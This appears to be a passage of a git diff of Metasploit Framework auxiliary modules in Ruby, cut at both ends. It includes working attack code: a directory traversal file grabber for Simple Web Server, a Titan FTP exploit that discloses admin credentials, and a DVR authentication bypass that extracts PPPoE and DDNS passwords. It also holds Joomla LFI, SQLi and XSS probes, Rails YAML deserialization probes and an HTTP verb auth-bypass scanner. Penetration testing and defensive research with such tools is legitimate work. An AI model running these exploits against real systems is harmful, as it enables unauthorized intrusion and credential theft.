line.chomp + plugin_search(tpath, papp, ip, res.body.size) + end + end + + def plugin_search(tpath, papp, ip, osize) + res = send_request_cgi({ + 'uri' => "#{tpath}#{papp}", + 'method' => 'GET' + }) + return if res.nil? + + res.body.gsub!(/[\r|\n]/, ' ') + nsize = res.body.size + + if (res.code == 200 and res.body !~/#404 Component not found/ and res.body !~/

Joomla! Administration Login<\/h1>/ and osize != nsize) + print_good("#{peer} - Plugin: #{tpath}#{papp} ") + report_note( + :host => ip, + :port => rport, + :proto => 'http', + :ntype => 'joomla_plugin', + :data => "#{tpath}#{papp}", + :update => :unique_data + ) + + if (papp =~/passwd/ and res.body =~/root/) + print_good("#{peer} - Vulnerability: Potential LFI") + report_web_vuln( + :host => ip, + :port => rport, + :vhost => vhost, + :ssl => ssl, + :path => tpath, + :method => "GET", + :pname => "", + :proof => "Response with code #{res.code} contains the 'root' signature", + :risk => 1, + :confidence => 10, + :category => 'Local File Inclusion', + :description => "Joomla: Potential LFI at #{tpath}#{papp}", + :name => 'Local File Inclusion' + ) + elsif (res.body =~/SQL syntax/) + print_good("#{peer} - Vulnerability: Potential SQL Injection") + report_web_vuln( + :host => ip, + :port => rport, + :vhost => vhost, + :ssl => ssl, + :path => tpath, + :method => "GET", + :pname => "", + :proof => "Response with code #{res.code} contains the 'SQL syntax' signature", + :risk => 1, + :confidence => 10, + :category => 'SQL Injection', + :description => "Joomla: Potential SQLI at #{tpath}#{papp}", + :name => 'SQL Injection' + ) + elsif (papp =~/>alert/ and res.body =~/>alert/) + print_good("#{peer} - Vulnerability: Potential XSS") + report_web_vuln( + :host => ip, + :port => rport, + :vhost => vhost, + :ssl => ssl, + :path => tpath, + :method => "GET", + :pname => "", + :proof => "Response with code #{res.code} contains the '>alert' signature", + :risk => 1, + :confidence => 10, + :category => 'Cross Site Scripting', + :description => "Joomla: Potential XSS at #{tpath}#{papp}", + :name => 'Cross Site Scripting' + ) + elsif (papp =~/com_/) + vars = papp.split('_') + pages = vars[1].gsub('/','') + res1 = send_request_cgi({ + 'uri' => "#{tpath}index.php?option=com_#{pages}", + 'method' => 'GET' + }) + if (res1.code == 200) + print_good("#{peer} - Page: #{tpath}index.php?option=com_#{pages}") + report_note( + :host => ip, + :port => datastore['RPORT'], + :proto => 'http', + :ntype => 'joomla_page', + :data => "Page: #{tpath}index.php?option=com_#{pages}", + :update => :unique_data + ) + else + vprint_error("#{peer} - Page: #{tpath}index.php?option=com_#{pages} gave a #{res1.code} response") + end + end + elsif (res.code == 403) + if (res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) + vprint_status("#{ip} ip access to #{ip} (SSL Required)") + elsif (res.body =~ /has a list of IP addresses that are not allowed/) + vprint_status("#{ip} restricted access by IP") + elsif (res.body =~ /SSL client certificate is required/) + vprint_status("#{ip} requires a SSL client certificate") + else + vprint_status("#{ip} denied access to #{ip}#{tpath}#{papp} - #{res.code} #{res.message}") + end + end + return + + rescue OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL error") + return + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + vprint_error("#{peer} - Unable to Connect") + return + rescue ::Timeout::Error, ::Errno::EPIPE + vprint_error("#{peer} - Timeout error") + return + end + +end diff --git a/modules/auxiliary/scanner/http/joomla_version.rb b/modules/auxiliary/scanner/http/joomla_version.rb new file mode 100644 index 000000000000..f0ebb7cbda68 --- /dev/null +++ b/modules/auxiliary/scanner/http/joomla_version.rb @@ -0,0 +1,174 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + # Huge thanks to @zeroSteiner for helping me. Also thanks to @kaospunk. Finally thanks to + # Joomscan and various MSF modules for code examples. + def initialize + super( + 'Name' => 'Joomla Version Scanner', + 'Description' => %q{ + This module scans a Joomla install for information about the underlying + operating system and Joomla version. + }, + 'Author' => [ 'newpid0' ], + 'License' => MSF_LICENSE + ) + register_options( + [ + OptString.new('TARGETURI', [ true, "The path to the Joomla install", '/']) + ], self.class) + end + + def peer + return "#{rhost}:#{rport}" + end + + def os_fingerprint(response) + if not response.headers.has_key?('Server') + return "Unkown OS (No Server Header)" + end + + case response.headers['Server'] + when /Win32/, /\(Windows/, /IIS/ + os = "Windows" + when /Apache\// + os = "*Nix" + else + os = "Unknown Server Header Reporting: "+response.headers['Server'] + end + return os + end + + def fingerprint(response) + case response.body + when /(.+)<\/version\/?>/i + v = $1 + out = (v =~ /^6/) ? "Joomla #{v}" : " #{v}" + when /system\.css 20196 2011\-01\-09 02\:40\:25Z ian/, + /MooTools\.More\=\{version\:\"1\.3\.0\.1\"/, + /en-GB\.ini 20196 2011\-01\-09 02\:40\:25Z ian/, + /en-GB\.ini 20990 2011\-03\-18 16\:42\:30Z infograf768/, + /20196 2011\-01\-09 02\:40\:25Z ian/ + out = "1.6" + when /system\.css 21322 2011\-05\-11 01\:10\:29Z dextercowley /, + /MooTools\.More\=\{version\:\"1\.3\.2\.1\"/, + /22183 2011\-09\-30 09\:04\:32Z infograf768/, + /21660 2011\-06\-23 13\:25\:32Z infograf768/ + out = "1.7" + when /Joomla! 1.5/, + /MooTools\=\{version\:\'1\.12\'\}/, + /11391 2009\-01\-04 13\:35\:50Z ian/ + out = "1.5" + when /Copyright \(C\) 2005 \- 2012 Open Source Matters/, + /MooTools.More\=\{version\:\"1\.4\.0\.1\"/ + out = "2.5" + when /\s+ "#{tpath}#{file}", + 'method' => 'GET' + }) + + return :abort if res.nil? + + res.body.gsub!(/[\r|\n]/, ' ') + + if (res.code == 200) + os = os_fingerprint(res) + out = fingerprint(res) + return false if not out + + if(out =~ /Unknown Joomla/) + print_error("#{peer} - Unable to identify Joomla Version with #{file}") + return false + else + print_good("#{peer} - Joomla Version:#{out} from: #{file} ") + print_good("#{peer} - OS: #{os}") + report_note( + :host => ip, + :port => datastore['RPORT'], + :proto => 'http', + :ntype => 'joomla_version', + :data => out + ) + return true + end + elsif (res.code == 403) + if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) + vprint_status("#{ip} denied access to #{ip} (SSL Required)") + elsif(res.body =~ /has a list of IP addresses that are not allowed/) + vprint_status("#{ip} restricted access by IP") + elsif(res.body =~ /SSL client certificate is required/) + vprint_status("#{ip} requires a SSL client certificate") + else + vprint_status("#{ip} denied access to #{ip} #{res.code} #{res.message}") + end + return :abort + end + + return false + + rescue OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL error") + return :abort + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + vprint_error("#{peer} - Unable to Connect") + return :abort + rescue ::Timeout::Error, ::Errno::EPIPE + vprint_error("#{peer} - Timeout error") + return :abort + end + + def run_host(ip) + tpath = normalize_uri(target_uri.path) + if tpath[-1,1] != '/' + tpath += '/' + end + + files = [ + 'language/en-GB/en-GB.xml', + 'templates/system/css/system.css', + 'media/system/js/mootools-more.js', + 'language/en-GB/en-GB.ini', + 'htaccess.txt', + 'language/en-GB/en-GB.com_media.ini' + ] + + vprint_status("#{peer} - Checking Joomla version") + files.each do |file| + joomla_found = check_file(tpath, file, ip) + return if joomla_found == :abort + break if joomla_found + end + end + +end diff --git a/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb new file mode 100644 index 000000000000..514559eb1f08 --- /dev/null +++ b/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb @@ -0,0 +1,101 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Ruby on Rails JSON Processor YAML Deserialization Scanner', + 'Description' => %q{ + This module attempts to identify Ruby on Rails instances vulnerable to + an arbitrary object instantiation flaw in the JSON request processor. + }, + 'Author' => + [ + 'jjarmoc', # scanner module + 'hdm' # CVE-2013-0156 scanner, basis of this technique. + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-0333'] + ] + )) + + register_options([ + OptString.new('TARGETURI', [true, "The URI to test", "/"]), + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT']]), + ], self.class) + end + + def send_probe(pdata) + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI']), + 'method' => datastore['HTTP_METHOD'], + 'ctype' => 'application/json', + 'data' => pdata + }) + end + + def run_host(ip) + + # Straight JSON as a baseline + res1 = send_probe( + "{ \"#{Rex::Text.rand_text_alpha(rand(8)+1)}\" : \"#{Rex::Text.rand_text_alpha(rand(8)+1)}\" }" + ) + + unless res1 + vprint_status("#{rhost}:#{rport} No reply to the initial JSON request") + return + end + + if res1.code.to_s =~ /^[5]/ + vprint_error("#{rhost}:#{rport} The server replied with #{res1.code} for our initial JSON request, double check TARGETURI and HTTP_METHOD") + return + end + + # Deserialize a hash, this should work if YAML deserializes. + res2 = send_probe("--- {}\n".gsub(':', '\u003a')) + + unless res2 + vprint_status("#{rhost}:#{rport} No reply to the initial YAML probe") + return + end + + # Deserialize a malformed object, inducing an error. + res3 = send_probe("--- !ruby/object:\x00".gsub(':', '\u003a')) + + unless res3 + vprint_status("#{rhost}:#{rport} No reply to the second YAML probe") + return + end + + vprint_status("Probe response codes: #{res1.code} / #{res2.code} / #{res3.code}") + + if (res2.code == res1.code) and (res3.code != res2.code) and (res3.code != 200) + # If first and second requests are the same, and the third is different but not a 200, we're vulnerable. + print_good("#{rhost}:#{rport} is likely vulnerable due to a #{res3.code} reply for invalid YAML") + report_vuln({ + :host => rhost, + :port => rport, + :proto => 'tcp', + :name => self.name, + :info => "Module triggered a #{res3.code} reply", + :refs => self.references + }) + else + # Otherwise we're not likely vulnerable. + vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or TARGETURI & HTTP_METHOD must be set") + end + end + +end \ No newline at end of file diff --git a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb index 900b8f331371..8eb9e1ce59e8 100644 --- a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb @@ -19,7 +19,10 @@ def initialize(info={}) This module attempts to identify Ruby on Rails instances vulnerable to an arbitrary object instantiation flaw in the XML request processor. }, - 'Author' => 'hdm', + 'Author' => [ + 'hdm', #author + 'jjarmoc' #improvements + ], 'License' => MSF_LICENSE, 'References' => [ @@ -29,7 +32,8 @@ def initialize(info={}) )) register_options([ - OptString.new('URIPATH', [true, "The URI to test", "/"]) + OptString.new('URIPATH', [true, "The URI to test", "/"]), + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]), ], self.class) end @@ -37,7 +41,7 @@ def send_probe(ptype, pdata) odata = %Q^\n^ res = send_request_cgi({ 'uri' => datastore['URIPATH'] || "/", - 'method' => 'POST', + 'method' => datastore['HTTP_METHOD'], 'ctype' => 'application/xml', 'data' => odata }, 25) @@ -46,29 +50,35 @@ def send_probe(ptype, pdata) def run_host(ip) res1 = send_probe("string", "hello") - res2 = send_probe("yaml", "--- !ruby/object:Time {}\n") - res3 = send_probe("yaml", "--- !ruby/object:\x00") unless res1 vprint_status("#{rhost}:#{rport} No reply to the initial XML request") return end + if res1.code.to_s =~ /^[5]/ + vprint_status("#{rhost}:#{rport} The server replied with #{res1.code} for our initial XML request, double check URIPATH") + return + end + + res2 = send_probe("yaml", "--- !ruby/object:Time {}\n") + unless res2 vprint_status("#{rhost}:#{rport} No reply to the initial YAML probe") return end + res3 = send_probe("yaml", "--- !ruby/object:\x00") + unless res3 vprint_status("#{rhost}:#{rport} No reply to the second YAML probe") return end - if res1.code.to_s =~ /^[45]/ - vprint_status("#{rhost}:#{rport} The server replied with #{res1.code} for our initial XML request, double check URIPATH") - end + vprint_status("Probe response codes: #{res1.code} / #{res2.code} / #{res3.code}") + - if res2.code.to_s =~ /^[23]/ and res3.code != res2.code and res3.code != 200 + if (res2.code == res1.code) and (res3.code != res2.code) and (res3.code != 200) print_good("#{rhost}:#{rport} is likely vulnerable due to a #{res3.code} reply for invalid YAML") report_vuln({ :host => rhost, @@ -79,7 +89,7 @@ def run_host(ip) :refs => self.references }) else - vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or URIPATH must be set") + vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or URIPATH & HTTP_METHOD must be set") end end diff --git a/modules/auxiliary/scanner/http/s40_traversal.rb b/modules/auxiliary/scanner/http/s40_traversal.rb index 5c0039054f26..111591aa13f0 100644 --- a/modules/auxiliary/scanner/http/s40_traversal.rb +++ b/modules/auxiliary/scanner/http/s40_traversal.rb @@ -44,7 +44,7 @@ def initialize(info = {}) end def run - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1, 1] != '/' t = "/.." * datastore['DEPTH'] @@ -52,9 +52,10 @@ def run print_status("Retrieving #{datastore['FILE']}") # No permission to access.log or proc/self/environ, so this is all we do :-/ + uri = normalize_uri(uri, 'index.php') res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{uri}index.php/?p=#{t}#{datastore['FILE']}%00" + 'uri' => "#{uri}/?p=#{t}#{datastore['FILE']}%00" }) if not res diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb index 730217ba95aa..01d38311ff1b 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb @@ -70,7 +70,7 @@ def enum_user(user='administrator', pass='pass') begin res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + "/services/Session", + 'uri' => normalize_uri(datastore['URI'], "/services/Session"), 'method' => 'POST', 'data' => data, 'headers' => diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb index 415ca736ee01..53ee160d57e1 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb @@ -44,7 +44,7 @@ def initialize def run_host(ip) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + "/services/listServices", + 'uri' => normalize_uri(datastore['URI'], "/services/listServices"), 'method' => 'GET' }, 25) return if not res diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb index be3de4bd4972..4ff8434cebd6 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb @@ -43,7 +43,7 @@ def rport def run_host(ip) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + "/services/listServices", + 'uri' => normalize_uri(datastore['URI'], "/services/listServices"), 'method' => 'GET' }, 25) return if not res or res.code != 200 diff --git a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb new file mode 100644 index 000000000000..3de0b7399b86 --- /dev/null +++ b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb @@ -0,0 +1,125 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Simple Web Server 2.3-RC1 Directory Traversal', + 'Description' => %q{ + This module exploits a directory traversal vulnerability found in + Simple Web Server 2.3-RC1. + }, + 'References' => + [ + [ 'OSVDB', '88877' ], + [ 'EDB', '23886' ], + [ 'URL', 'http://seclists.org/bugtraq/2013/Jan/12' ] + ], + 'Author' => + [ + 'CwG GeNiuS', + 'sinn3r' + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Jan 03 2013" + )) + + register_options( + [ + OptString.new('FILEPATH', [true, 'The name of the file to download', 'boot.ini']), + OptInt.new('DEPTH', [true, 'The max traversal depth', 8]) + ], self.class) + + deregister_options('RHOST') + end + + + # + # The web server will actually return two HTTP statuses: A 400 (Bad Request), and the actual + # HTTP status -- the second one is what we want. We cannot use the original update_cmd_parts() + # in Response, because that will only grab the first HTTP status. + # + def parse_status_line(res) + str = res.to_s + + status_line = str.scan(/HTTP\/(.+?)\s+(\d+)\s?(.+?)\r?\n?$/) + + if status_line.empty? + print_error("Invalid response command string.") + return + elsif status_line.length == 1 + proto, code, message = status_line[0] + else + proto, code, message = status_line[1] + end + + return message, code.to_i, proto + end + + + # + # The MSF API cannot parse this weird response + # + def parse_body(res) + str = res.to_s + str.split(/\r\n\r\n/)[2] || '' + end + + + def is_sws? + res = send_request_raw({'uri'=>'/'}) + if res and res.headers['Server'].to_s =~ /PMSoftware\-SWS/ + return true + else + return false + end + end + + + def run_host(ip) + if not is_sws? + print_error("#{ip}:#{rport} - This isn't a Simple Web Server") + return + end + + uri = normalize_uri("../"*datastore['DEPTH'], datastore['FILEPATH']) + res = send_request_raw({'uri'=>uri}) + + if not res + print_error("#{ip}:#{rport} - Request timed out.") + return + end + + # The weird HTTP response totally messes up Rex::Proto::Http::Response, HA! + message, code, proto = parse_status_line(res) + body = parse_body(res) + + if code == 200 + + if body.empty? + # HD's likes vprint_* in case it's hitting a large network + vprint_status("#{ip}:#{rport} - File is empty.") + return + end + + vprint_line(body) + fname = ::File.basename(datastore['FILEPATH']) + p = store_loot('simplewebserver.file', 'application/octet-stream', ip, body, fname) + print_good("#{ip}:#{rport} - #{fname} stored in: #{p}") + else + print_error("#{ip}:#{rport} - Unable to retrieve file: #{code.to_s} (#{message})") + end + end +end + diff --git a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb new file mode 100644 index 000000000000..18c7eb70198a --- /dev/null +++ b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb @@ -0,0 +1,105 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'Titan FTP Administrative Password Disclosure', + 'Description' => %q{ + On Titan FTP servers prior to version 9.14.1628, an attacker can + retrieve the username and password for the administrative XML-RPC + interface, which listens on TCP Port 31001 by default, by sending an + XML request containing bogus authentication information. After sending + this request, the server responds with the legitimate username and + password for the service. With this information, an attacker has + complete control over the FTP service, which includes the ability to + add and remove FTP users, as well as add, remove, and modify + available directories and their permissions. + }, + 'Author' => + [ + 'Spencer McIntyre' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-1625' ], + ] + ) + + register_options([Opt::RPORT(31001)], self.class) + deregister_options('PASSWORD', 'USERNAME') + end + + def run_host(ip) + res = send_request_cgi( + { + 'uri' => "/admin.dll", + 'method' => 'POST', + 'headers' => { + 'SRT-WantXMLResponses' => 'true', + 'SRT-XMLRequest' => 'true', + 'Authorization' => 'Basic FAKEFAKE' + }, + 'data' => "DOMGCFG", + }) + return if not res + + if res.code == 400 + vprint_status("#{ip}:#{datastore['RPORT']} - Server Responeded 400, It's Likely Patched") + return + elsif res.code != 200 + vprint_status("#{ip}:#{datastore['RPORT']} - Server Responeded With An Unknown Response Code Of #{res.code}") + return + end + + xml_data = res.body.strip + resp_root = REXML::Document.new(xml_data).root + + srresponse = resp_root.elements.to_a("//SRResponse")[0] + srdomainparams = srresponse.elements.to_a("//SRDomainParams")[0] + + info = {} + srdomainparams.elements.each do |node| + case node.name + when "DomainName" + info[:domain] = Rex::Text.uri_decode(node.text) + when "BaseDataDir" + info[:basedir] = Rex::Text.uri_decode(node.text) + when "CreationDate" + info[:username] = Rex::Text.uri_decode(node.text) + when "CreationTime" + info[:password] = Rex::Text.uri_decode(node.text) + end + end + + if (info[:username] and info[:password]) + if (info[:domain] and info[:basedir]) + print_good("#{ip}:#{datastore['RPORT']} - Domain: #{info[:domain]}") + print_good("#{ip}:#{datastore['RPORT']} - Base Directory: #{info[:basedir]}") + end + print_good("#{ip}:#{datastore['RPORT']} - Admin Credentials: '#{info[:username]}:#{info[:password]}'") + report_auth_info( + :host => ip, + :port => datastore['RPORT'], + :user => info[:username], + :pass => info[:password], + :ptype => "password", + :proto => "http", + :sname => "Titan FTP Admin Console" + ) + end + end +end diff --git a/modules/auxiliary/scanner/http/vcms_login.rb b/modules/auxiliary/scanner/http/vcms_login.rb index 740a9121608f..a4fe31dba260 100644 --- a/modules/auxiliary/scanner/http/vcms_login.rb +++ b/modules/auxiliary/scanner/http/vcms_login.rb @@ -89,7 +89,7 @@ def do_login(user, pass) return :skip_user when /Invalid password/ vprint_status("#{@peer} - Username found: #{user}") - else /\/ + else /\/ print_good("#{@peer} - Successful login: \"#{user}:#{pass}\"") report_auth_info({ :host => rhost, @@ -108,7 +108,7 @@ def do_login(user, pass) end def run - @uri = normalize_uri(target_uri) + @uri = normalize_uri(target_uri.path) @uri.path << "/" if @uri.path[-1, 1] != "/" @peer = "#{rhost}:#{rport}" diff --git a/modules/auxiliary/scanner/http/verb_auth_bypass.rb b/modules/auxiliary/scanner/http/verb_auth_bypass.rb index 94739be2256b..a91a2a02f530 100644 --- a/modules/auxiliary/scanner/http/verb_auth_bypass.rb +++ b/modules/auxiliary/scanner/http/verb_auth_bypass.rb @@ -8,7 +8,6 @@ require 'msf/core' - class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first @@ -21,13 +20,13 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'HTTP Verb Authentication Bypass Scanner', - 'Description' => %q{ + 'Name' => 'HTTP Verb Authentication Bypass Scanner', + 'Description' => %q{ This module test for authentication bypass using different HTTP verbs. }, - 'Author' => [ 'et [at] metasploit.com' ], - 'License' => BSD_LICENSE)) + 'Author' => [ 'et [at] metasploit.com' ], + 'License' => BSD_LICENSE)) register_options( [ @@ -35,72 +34,70 @@ def initialize(info = {}) ], self.class) end - # Fingerprint a single host def run_host(ip) + begin + test_verbs(ip) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + rescue ::Timeout::Error, ::Errno::EPIPE + end + end - verbs = [ - 'HEAD', - 'TRACE', - 'TRACK', - 'Wmap' - ] + def test_verbs(ip) + verbs = [ 'HEAD', 'TRACE', 'TRACK', 'Wmap', 'get', 'trace' ] + res = send_request_raw({ + 'uri' => normalize_uri(datastore['PATH']), + 'method' => 'GET' + }, 10) - begin - res = send_request_raw({ + return if not res + + if not res.headers['WWW-Authenticate'] + print_status("[#{ip}] Authentication not required. #{datastore['PATH']} #{res.code}") + return + end + + auth_code = res.code + + print_status("#{ip} requires authentication: #{res.headers['WWW-Authenticate']} [#{auth_code}]") + + report_note( + :host => ip, + :proto => 'tcp', + :sname => (ssl ? 'https' : 'http'), + :port => rport, + :type => 'WWW_AUTHENTICATE', + :data => "#{datastore['PATH']} Realm: #{res.headers['WWW-Authenticate']}", + :update => :unique_data + ) + + verbs.each do |tv| + resauth = send_request_raw({ 'uri' => normalize_uri(datastore['PATH']), - 'method' => 'GET' + 'method' => tv }, 10) - if res - - auth_code = res.code - - if res.headers['WWW-Authenticate'] - print_status("#{ip} requires authentication: #{res.headers['WWW-Authenticate']} [#{auth_code}]") - - report_note( - :host => ip, - :proto => 'tcp', - :sname => (ssl ? 'https' : 'http'), - :port => rport, - :type => 'WWW_AUTHENTICATE', - :data => "#{datastore['PATH']} Realm: #{res.headers['WWW-Authenticate']}", - :update => :unique_data - ) - - verbs.each do |tv| - resauth = send_request_raw({ - 'uri' => normalize_uri(datastore['PATH']), - 'method' => tv - }, 10) - - if resauth - print_status("Testing verb #{tv} resp code: [#{resauth.code}]") - if resauth.code != auth_code and resauth.code <= 302 - print_status("Possible authentication bypass with verb #{tv} code #{resauth.code}") - - # Unable to use report_web_vuln as method is not in list of allowed methods. - - report_note( - :host => ip, - :proto => 'tcp', - :sname => (ssl ? 'https' : 'http'), - :port => rport, - :type => 'AUTH_BYPASS_VERB', - :data => "#{datastore['PATH']} Verb: #{tv}", - :update => :unique_data - ) - - end - end - end - else - print_status("[#{ip}] Authentication not required. #{datastore['PATH']} #{res.code}") - end + next if not resauth + + print_status("Testing verb #{tv}, resp code: [#{resauth.code}]") + + if resauth.code != auth_code and resauth.code <= 302 + print_status("Possible authentication bypass with verb #{tv} code #{resauth.code}") + + # Unable to use report_web_vuln as method is not in list of allowed methods. + + report_note( + :host => ip, + :proto => 'tcp', + :sname => (ssl ? 'https' : 'http'), + :port => rport, + :type => 'AUTH_BYPASS_VERB', + :data => "#{datastore['PATH']} Verb: #{tv}", + :update => :unique_data + ) end - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE end end + end + diff --git a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb index 1efaf6bbff13..2d642d9c4325 100644 --- a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb +++ b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb @@ -39,7 +39,7 @@ def initialize(info={}) register_options( [ Opt::RPORT(9084), - OptString.new('URIPATH', [true, 'URI path to the downloads/', '/vci/downloads/']), + OptString.new('URIPATH', [true, 'URI path to the downloads', '/vci/downloads/']), OptString.new('FILE', [true, 'Define the remote file to download', 'boot.ini']) ], self.class) end @@ -47,7 +47,7 @@ def initialize(info={}) def run_host(ip) fname = File.basename(datastore['FILE']) traversal = ".\\..\\..\\..\\..\\..\\..\\..\\" - uri = normalize_uri(datastore['URIPATH'])+ '/' + traversal + datastore['FILE'] + uri = normalize_uri(datastore['URIPATH']) + traversal + datastore['FILE'] print_status("#{rhost}:#{rport} - Requesting: #{uri}") diff --git a/modules/auxiliary/scanner/http/wordpress_pingback_access.rb b/modules/auxiliary/scanner/http/wordpress_pingback_access.rb index da896c3a6b0e..368cb189564e 100644 --- a/modules/auxiliary/scanner/http/wordpress_pingback_access.rb +++ b/modules/auxiliary/scanner/http/wordpress_pingback_access.rb @@ -24,7 +24,7 @@ def initialize(info = {}) [ 'Thomas McCarthy "smilingraccoon" ', 'Brandon McCann "zeknox" ' , - 'FireFart' # Original PoC + 'Christian Mehlmauer "FireFart" ' # Original PoC ], 'License' => MSF_LICENSE, 'References' => @@ -60,7 +60,7 @@ def get_xml_rpc_url(ip) vprint_status("#{ip} - Enumerating XML-RPC URI...") begin - + uri = target_uri.path uri << '/' if uri[-1,1] != '/' diff --git a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb new file mode 100644 index 000000000000..3201f3f340af --- /dev/null +++ b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb @@ -0,0 +1,222 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Multiple DVR Manufacturers Configuration Disclosure', + 'Description' => %q{ + This module takes advantage of an authentication bypass vulnerability at the + web interface of multiple manufacturers DVR systems, which allows to retrieve the + device configuration. + }, + 'Author' => + [ + 'Alejandro Ramos', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-1391' ], + [ 'URL', 'http://www.securitybydefault.com/2013/01/12000-grabadores-de-video-expuestos-en.html' ] + ], + 'License' => MSF_LICENSE + ) + + end + + def get_pppoe_credentials(conf) + + user = "" + password = "" + enabled = "" + + if conf =~ /PPPOE_EN=(\d)/ + enabled = $1 + end + + return if enabled == "0" + + if conf =~ /PPPOE_USER=(.*)/ + user = $1 + end + + if conf =~ /PPPOE_PASSWORD=(.*)/ + password = $1 + end + + if user.empty? or password.empty? + return + end + + info = "PPPOE credentials for #{rhost}, user: #{user}, password: #{password}" + + report_note({ + :host => rhost, + :data => info, + :type => "dvr.pppoe.conf", + :sname => 'pppoe', + :update => :unique_data + }) + + end + + + def get_ddns_credentials(conf) + hostname = "" + user = "" + password = "" + enabled = "" + + if conf =~ /DDNS_EN=(\d)/ + enabled = $1 + end + + return if enabled == "0" + + if conf =~ /DDNS_HOSTNAME=(.*)/ + hostname = $1 + end + + if conf =~ 